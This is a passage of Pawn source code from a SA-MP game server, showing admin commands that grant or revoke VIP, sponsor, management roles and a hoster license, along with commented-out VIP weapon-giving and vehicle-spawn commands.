				if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				new name[40];
				GetPlayerName(para1, name, sizeof(name));
				GetPlayerName(playerid, sendername, sizeof(sendername));
			 if(level == 1)
			 {
				PlayerInfo[para1][pVip] = 1;
				SaveKonVal(para1, "pVip", 1);
//				new string[512];
				format(string, sizeof(string), "Your account is now VIP by %s", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s given vip account to %s",sendername,name);
				AdminWarn(str);
				}
				else if(level == 0)
				{
				PlayerInfo[para1][pVip] = 0;
				SaveKonVal(para1, "pVip", 0);
//				new string[512];
				format(string, sizeof(string), "Your account is now longer VIP by %s", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);

				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s got vip account from %s",sendername,name);
				AdminWarn(str);
				}
				else {SendClientMessage(para1, COLOR_YELLOW2, "Error: Unknown value!");}
			 }
				else {SCM(playerid, COLOR_AdminWarn, "Player is not connected");}
	   }
	   return 1;
	}
	
	
	
	
	
/*
	if(strcmp(cmd, "/mwst", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  if(PlayerInfo[playerid][pAdmin] < 10 && PlayerInfo[playerid][pSlp] == 0)
		  {
		  SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		  return 1;
		  }
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /mwst <playerid/PartOfName> <1/0>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
			 if(IsPlayerConnected(para1))
			 {
				if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				if(PINFO[para1][pSponser] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command on sponsor.");
				new name[40];
				GetPlayerName(para1, name, sizeof(name));
				GetPlayerName(playerid, sendername, sizeof(sendername));
			 if(level == 1)
			 {
				PlayerInfo[para1][pWlp] = 1;
				SaveKonVal(para1, "pWlp", 1);
//				new string[512];
				format(string, sizeof(string), "Admin %s assigned you war management objective.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s assigned war management objective to %s.",sendername,name);
				AdminWarn(str);
				}
				else if(level == 0)
				{
				PlayerInfo[para1][pWlp] = 0;
				SaveKonVal(para1, "pWlp", 0);
//				new string[512];
				format(string, sizeof(string), "Admin %s revoked war management objective from you.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);

				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s revoked war management objective from %s.",sendername,name);
				AdminWarn(str);
				}
				else {SendClientMessage(para1, COLOR_YELLOW2, "Wrong value.");}
			 }
				else {SCM(playerid, COLOR_AdminWarn, "Player is not connected");}
	   }
	   return 1;
	}
	






	if(strcmp(cmd, "/mast", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  if(PlayerInfo[playerid][pAdmin] < 11 && PlayerInfo[playerid][pSlp] == 0)
		  {
		  SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		  return 1;
		  }
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /mast <playerid/PartOfName> <1/0>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
			 if(IsPlayerConnected(para1))
			 {
				if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				if(PINFO[para1][pSponser] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command on sponsor.");
				new name[40];
				GetPlayerName(para1, name, sizeof(name));
				GetPlayerName(playerid, sendername, sizeof(sendername));
			 if(level == 1)
			 {
				PlayerInfo[para1][pAlp] = 1;
				SaveKonVal(para1, "pAlp", 1);
//				new string[512];
				format(string, sizeof(string), "Admin %s assigned you admin management objective.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s assigned admin management objective to %s.",sendername,name);
				AdminWarn(str);
				}
				else if(level == 0)
				{
				PlayerInfo[para1][pAlp] = 0;
				SaveKonVal(para1, "pAlp", 0);
				//new string[512];
				format(string, sizeof(string), "Admin %s revoked admin management objective from you.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);

				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s revoked admin management objective from %s.",sendername,name);
				AdminWarn(str);
				}
				else {SendClientMessage(para1, COLOR_YELLOW2, "Wrong value.");}
			 }
				else {SCM(playerid, COLOR_AdminWarn, "Player is not connected");}
	   }
	   return 1;
	}








	if(strcmp(cmd, "/msst", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  if(PlayerInfo[playerid][pAdmin] < 11)
		  {
		  SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		  return 1;
		  }
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /msst <playerid/PartOfName> <1/0>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
			 if(IsPlayerConnected(para1))
			 {
				if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				if(PINFO[para1][pSponser] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command on sponsor.");
				new name[40];
				GetPlayerName(para1, name, sizeof(name));
				GetPlayerName(playerid, sendername, sizeof(sendername));
			 if(level == 1)
			 {
				PlayerInfo[para1][pSlp] = 1;
				SaveKonVal(para1, "pSlp", 1);
//				new string[512];
				format(string, sizeof(string), "Admin %s assigned you staff management objective.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s assigned staff management objective to %s.",sendername,name);
				AdminWarn(str);
				}
				else if(level == 0)
				{
				PlayerInfo[para1][pSlp] = 0;
				SaveKonVal(para1, "pSlp", 0);
			//	new string[512];
				format(string, sizeof(string), "Admin %s revoked staff management objective from you.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);

				new str[144];
				format(str, sizeof(str), "{FFFFFF}Admin %s revoked staff management objective from %s.",sendername,name);
				AdminWarn(str);
				}
				else {SendClientMessage(para1, COLOR_YELLOW2, "Wrong value.");}
			 }
				else {SCM(playerid, COLOR_AdminWarn, "Player is not connected");}
	   }
	   return 1;
	}

	
	
	
	
	   if(strcmp(cmd, "/mlst", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  if(PlayerInfo[playerid][pAdmin] < 10 && PlayerInfo[playerid][pSlp] == 0)
		  {
		  SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		  return 1;
		  }
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /mlst <playerid/PartOfName> <1/0>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
			 if(IsPlayerConnected(para1))
			 {
				if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				if(PINFO[para1][pSponser] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command on sponsor.");
				new name[40];
				GetPlayerName(para1, name, sizeof(name));
				GetPlayerName(playerid, sendername, sizeof(sendername));
			 if(level == 1)
			 {
				PlayerInfo[para1][pMlp] = 1;
				SaveKonVal(para1, "pMlp", 1);
//				new string[512];
				format(string, sizeof(string), "Admin %s assigned you leaders management objective.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s assigned leaders management objective to %s.",sendername,name);
				AdminWarn(str);
				}
				else if(level == 0)
				{
				PlayerInfo[para1][pMlp] = 0;
				SaveKonVal(para1, "pMlp", 0);
	//			new string[512];
				format(string, sizeof(string), "Admin %s revoked leaders management objective from you.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);

				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s revoked leaders management objective from %s.",sendername,name);
				AdminWarn(str);
				}
				else {SendClientMessage(para1, COLOR_YELLOW2, "Wrong value.");}
			 }
				else {SCM(playerid, COLOR_AdminWarn, "Player is not connected");}
	   }
	   return 1;
	}
	
		  if(strcmp(cmd, "/mspt", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  if(PlayerInfo[playerid][pAdmin] < 12)
		  {
		  SCM(playerid,COLOR_GREEN,"Error: Your admin level isn't high enough to use this command.");
		  return 1;
		  }
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /mspt <playerid/PartOfName> <1/0>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
			 if(IsPlayerConnected(para1))
			 {
				if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				new name[40];
				GetPlayerName(para1, name, sizeof(name));
				GetPlayerName(playerid, sendername, sizeof(sendername));
			 if(level == 1)
			 {
				PlayerInfo[para1][pSponser] = 1;
				SaveKonVal(para1, "pSponser", 1);
			//	new string[512];
				format(string, sizeof(string), "Admin %s assigned you sponsor objective.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s assigned sponsor objective to %s.",sendername,name);
				AdminWarn(str);
				PINFO[para1][pSDay] = 30;
			 SaveKonVal(para1, "pSDay", 30);
				PINFO[para1][pHelper] = 0;
			 SaveKonVal(para1, "pHelper", 0);
				PINFO[para1][pAdmin] = 0;
			 SaveKonVal(para1, "pAdmin", 0);
				PINFO[para1][pHAgr] = 0;
			 SaveKonVal(para1, "pHAgr", 0);
				PINFO[para1][pHDay] = 0;
			 SaveKonVal(para1, "pHDay", 0);
				PINFO[para1][pSlp] = 0;
			 SaveKonVal(para1, "pSlp", 0);
				PINFO[para1][pMlp] = 0;
			 SaveKonVal(para1, "pMlp", 0);
				PINFO[para1][pAlp] = 0;
			 SaveKonVal(para1, "pAlp", 0);
				PINFO[para1][pHlp] = 0;
			 SaveKonVal(para1, "pHlp", 0);
			 ASAR[para1] = 0;
			 PlayerTextDrawHide(para1, SAR[para1]);
			 HSAR[para1] = 0;
			 PlayerTextDrawHide(para1, reportstext2[para1]);
				}
				else if(level == 0)
				{
				PlayerInfo[para1][pSponser] = 0;
				SaveKonVal(para1, "pSponser", 0);
			//	new string[512];
				format(string, sizeof(string), "Admin %s revoked sponsor objective from you.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);

				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s revoked sponsor objective from %s.",sendername,name);
				AdminWarn(str);
				PINFO[para1][pSDay] = 0;
			 SaveKonVal(para1, "pSDay", 0);
				}
				else {SendClientMessage(para1, COLOR_YELLOW2, "Wrong value.");}
			 }
				else {SCM(playerid, COLOR_AdminWarn, "Player is not connected");}
	   }
	   return 1;
	}
	
	
	
	
	   if(strcmp(cmd, "/mhst", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  if(PlayerInfo[playerid][pAdmin] < 10 && PlayerInfo[playerid][pSlp] == 0)
		  {
		  SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		  return 1;
		  }
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /mhst <playerid/PartOfName> <0-5>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
			 if(IsPlayerConnected(para1))
			 {
				if(PINFO[playerid][pAdmin] < PINFO[para1][pAdmin]) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command for your higher ranks people.");
				if(PINFO[para1][pSponser] == 1) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command on sponsor.");
				new name[40];
				GetPlayerName(para1, name, sizeof(name));
				GetPlayerName(playerid, sendername, sizeof(sendername));
			 if(level == 1)
			 {
				PlayerInfo[para1][pHlp] = 1;
				SaveKonVal(para1, "pHlp", 1);
			//	new string[512];
				format(string, sizeof(string), "Admin %s assigned helpers management objective to you. (0-1)", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s assigned helpers management objective to %s (0-1)",sendername,name);
				AdminWarn(str);
				}
			 else if(level == 2)
			 {
				PlayerInfo[para1][pHlp] = 2;
				SaveKonVal(para1, "pHlp", 2);
			//	new string[512];
				format(string, sizeof(string), "Admin %s assigned helpers management objective to you. (0-2)", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s assigned helpers management objective to %s (0-2)",sendername,name);
				AdminWarn(str);
				}
			 else if(level == 3)
			 {
				PlayerInfo[para1][pHlp] = 3;
				SaveKonVal(para1, "pHlp", 3);
			//	new string[512];
				format(string, sizeof(string), "Admin %s assigned helpers management objective to you. (0-3)", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s assigned helpers management objective to %s (0-3)",sendername,name);
				AdminWarn(str);
				}
			 else if(level == 4)
			 {
				PlayerInfo[para1][pHlp] = 4;
				SaveKonVal(para1, "pHlp", 4);
			//	new string[512];
				format(string, sizeof(string), "Admin %s assigned helpers management objective to you. (0-4)", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s assigned helpers management objective to %s (0-4)",sendername,name);
				AdminWarn(str);
				}
			 else if(level == 5)
			 {
				PlayerInfo[para1][pHlp] = 5;
				SaveKonVal(para1, "pHlp", 5);
			//	new string[512];
				format(string, sizeof(string), "Admin %s assigned helpers management objective to you. (0-5)", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s assigned helpers management objective to %s (0-5)",sendername,name);
				AdminWarn(str);
				}
				else if(level == 0)
				{
				PlayerInfo[para1][pHlp] = 0;
				SaveKonVal(para1, "pHlp", 0);
			//	new string[512];
				format(string, sizeof(string), "Admin %s revoked helpers management objective from you.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);

				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s revoked helpers management objective from %s.",sendername,name);
				AdminWarn(str);
				}
				else {SendClientMessage(para1, COLOR_YELLOW2, "Wrong value.");}
			 }
				else {SCM(playerid, COLOR_AdminWarn, "Player is not connected");}
	   }
	   return 1;
	}
	
*/
	
	
	
	
	
	
	
	if(strcmp(cmd, "/GiveHosterLic", true) == 0 || strcmp(cmd, "/GiveHLic", true) == 0)
	{
	   if(IsPlayerConnected(playerid))
	   {
		  if(PlayerInfo[playerid][pAdmin] < 11)
		  {
		  SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
		  return 1;
		  }
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
		  tmp = strtok(cmdtext, idx);
		  if(!strlen(tmp))
		  {
			 SendClientMessage(playerid, COL_SYN, "Syntax: /GiveHosterLic <playerid/PartOfName> <1/0>");
			 return 1;
		  }
		  new para1;
		  new level;
		  para1 = ReturnUser6(tmp);
		  tmp = strtok(cmdtext, idx);
		  level = strval(tmp);
			 if(IsPlayerConnected(para1))
			 {
			   if(PlayerInfo[para1][pAdmin]==7||PlayerInfo[para1][pAdmin]==8||PlayerInfo[para1][pAdmin]==9)
			 {
				new name[40];
				GetPlayerName(para1, name, sizeof(name));
				GetPlayerName(playerid, sendername, sizeof(sendername));
			 if(level == 1)
			 {
				PlayerInfo[para1][pHAgr] = 1;
				SaveKonVal(para1, "pHAgr", 1);
//				new string[512];
				format(string, sizeof(string), "Now you have hoster license.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);
				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s given hoster license to %s.",sendername,name);
				AdminWarn(str);
				}
				else if(level == 0)
				{
				PlayerInfo[para1][pHAgr] = 0;
				SaveKonVal(para1, "pHAgr", 0);
			//	new string[512];
				format(string, sizeof(string), "Now you haven't hoster license.", sendername);
				SendClientMessage(para1, COLOR_WHITE, string);

				new str[512];
				format(str, sizeof(str), "{FFFFFF}Admin %s taken hoster license from %s.",sendername,name);
				AdminWarn(str);
				}
				else {SendClientMessage(para1, COLOR_YELLOW2, "Wrong value.");}
			 }
				else {SCM(playerid, COLOR_AdminWarn, "Player is not connected");}
	   }
			 }
	   return 1;
	}
	
	
	
	
	
	
	
	
	/*if(!strcmp(cmd, "/vgivegunall", true) || !strcmp(cmd, "/vggall", true))
		{
			if(PlayerInfo[playerid][pVip] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't vip account.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /vggall <Distance> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			return 1;
				}
			new Float:dis = floatstr(tmp);
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /vgivegunall <Distance> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			return 1;
				}
			new wepid = strval(tmp);
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /vgivegunall <Distance> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			return 1;
				}
			new moheam = strval(tmp);
			if(dis > 0)
			{
				if(wepid > -1 && wepid < 47 && wepid != 19 && wepid != 20 && wepid != 21)
				{
					if(moheam > 0 && moheam <= 100000)
					{
						new lolstr[256];
						new gunname[60];
						GetWeaponName(wepid, gunname, 60);
						format(lolstr, 256, "vip %s has given a %s with %i ammo to all.", PINFO[playerid][pName], gunname, moheam);
						for(new i = 0;i<Akharish;i++)
						{
							if(IsPlayerConnected(i) && gPlayerLogged[i] == 1 && ProxDetectorS(dis, playerid, i))
							{
								GivePlayerKolang(i, wepid, moheam);
								SCM(i, COLOR_LIGHTRED, lolstr);
							}
						}
						format(lolstr, 256, "{FFFFFF}%s has given a %s with %i ammo to all players in %.2f distance.", PINFO[playerid][pName], gunname, moheam, dis);
						AdminWarn(lolstr);
					}
					else return SCM(playerid, COLOR_SINA3, "Invalid ammo.");
				}
				else return SCM(playerid, COLOR_SINA3, "Invalid WeaponID.");
			}
			else return SCM(playerid, COLOR_SINA3, "Invalid Distance.");
			return 1;
		} */
		/*if(strcmp(cmd, "/vgivegun", true) == 0 || strcmp(cmd, "/vgg", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(PlayerInfo[playerid][pVip] == 1)
			{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /vgivegun <Playerid/PartOfName> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
			return 1;
				}
				new playa;
				new gun;
				new aammo;
				playa = ReturnUser6(tmp);
				tmp = strtok(cmdtext, idx);
				gun = strval(tmp);
				if(!strlen(tmp))
				{
			SendMessage(playerid, COL_SYN, "Syntax: /vgivegun <Playerid/PartOfName> <WeaponID> <Ammo>");
			SCM(playerid,CRISTIAN,"|________________________________________________________________________|");
			SendMessage(playerid, COLOR_WHITE, "1(Brass Knuckles) | 2(Golf Club) | 3(Nite Stick) | 4(knife) | 5(bat) | 6(Shovel) | 7(Cue) | 8(Katana) | 9(Chainsaw)");
			SendMessage(playerid, COLOR_WHITE, "10-13(Dildo) | 14(Flowers) | 15(Cane) | 16(Grenades) | 17(Tear Gas) | 18(Molotovs) | 22(Pistol) | 23(SPistol) 24(Deagle)");
			SendMessage(playerid, COLOR_WHITE, "25(Shotgun) | 26(Sawn-off Shotgun) | 27(SPAS12) | 28(Micro SMG) | 29(MP5) | 30(AK47) | 31(M4) | 32(Tec-9) | 33(Rifle)");
			SendMessage(playerid, COLOR_WHITE, "34(Sniper) | 35(Rocket Launcher) | 36(HS Rocket Launcher) | 37(Flamethrower) | 38(Minigun) | 39(Satchel Charge) | 40(Detonator)");
			SendMessage(playerid, COLOR_WHITE, "41(Spray) | 42(Fire Extinguisher) | 43(Camera) | 44(Nightvision Googles) | 45(Thermal Googles) | 46(Parachute)");
					return 1;
				}
				if(gun <= 0||gun >= 47||gun==19||gun==20||gun==21)
				{ SendMessage(playerid, COLOR_SINA3, "This Weapon id is not exist or it's wrong."); return 1; }
				tmp = strtok(cmdtext, idx);
				aammo = strval(tmp);
				if(aammo < 1||aammo > 100000)
				{ SendMessage(playerid, COLOR_SINA3, "don't go below 1 or above 100000 Ammo."); return 1; }
					if(IsPlayerConnected(playa))
					{
						if(playa != INVALID_PLAYER_ID)
						{
							GivePlayerKolang(playa, gun, aammo);
							GetPlayerName(playa, giveplayer, sizeof(giveplayer));
							GetPlayerName(playerid, sendername, sizeof(sendername));
							new wepname[256];
							GetWeaponName(gun,wepname,sizeof wepname);
							format(string, 256, "[Admin-Warn]: {FFFFFF}%s has given a %s to %s", sendername,wepname,giveplayer);
							ABroadCast(COLOR_AdminWarn,string,1);
						}
					}
				}
				else
				{
					SCM(playerid, COLOR_YELLOW2, "Error: you haven't vip account.");
				}
			}
			return 1;
		} */
		/*
		if(strcmp(cmd, "/vveh", true) == 0)
		{
			if(PlayerInfo[playerid][pVip] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: you haven't vip account.");
			if(IsPlayerInAnyVehicle(playerid)) return SCM(playerid,COLOR_GG,"You cannot create a vehicle when you are in a vehicle.");
			if(vvehtimer[playerid] == 1) return SendMessage(playerid, COLOR_CRS3, "Error: You must wait 2 minutes to spawn again a vehicle.");
			tmp = strtok(cmdtext, idx);
			if(!strlen(tmp)) return SendMessage(playerid, COL_SYN, "Syntax: /vveh <ModelName/ID> <ColorID1> <ColorID2>");
			new car;
			if(IsNumeric(tmp))
			{
				car = strval(tmp);
				if(car < 400 || car > 615) return SendMessage(playerid, COLOR_GG, "Vehicle Number can't be below 400 or above 611");
			}
			else
			{
				for(new i = 0;i<212;i++)
				{
					if(strfind(aVehicleNames[i], tmp, true) != -1)
					{
						car = i+400;
					}
				}
			}
			if(car == 0) return SCM(playerid, COLOR_YELLOW2, "Invalid vehicle name.");
			// Forbidden vehicle ids by Sina
			if(car == 403 || car == 406 || car == 407 || car == 408 || car == 417 || car == 416 || car == 423) return SCM(playerid, COLOR_YELLOW2, "Error: Forbidden vehicle.");
			if(car == 425 || car == 427 || car == 428 || car == 430 || car == 432 || car == 433 || car == 435) return SCM(playerid, COLOR_YELLOW2, "Error: Forbidden vehicle.");
			if(car == 446 || car == 449 || car == 450 || car == 452 || car == 453 || car == 454 || car == 464) return SCM(playerid, COLOR_YELLOW2, "Error: Forbidden vehicle.");
			if(car == 465 || car == 472 || car == 473 || car == 484 || car == 493 || car == 497 || car == 501) return SCM(playerid, COLOR_YELLOW2, "Error: Forbidden vehicle.");
			if(car == 519 || car == 520 || car == 523 || car == 537 || car == 538 || car == 539 || car == 554) return SCM(playerid, COLOR_YELLOW2, "Error: Forbidden vehicle.");
			if(car == 548 || car == 553 || car == 563 || car == 564 || car == 569 || car == 570 || car == 577) return SCM(playerid, COLOR_YELLOW2, "Error: Forbidden vehicle.");
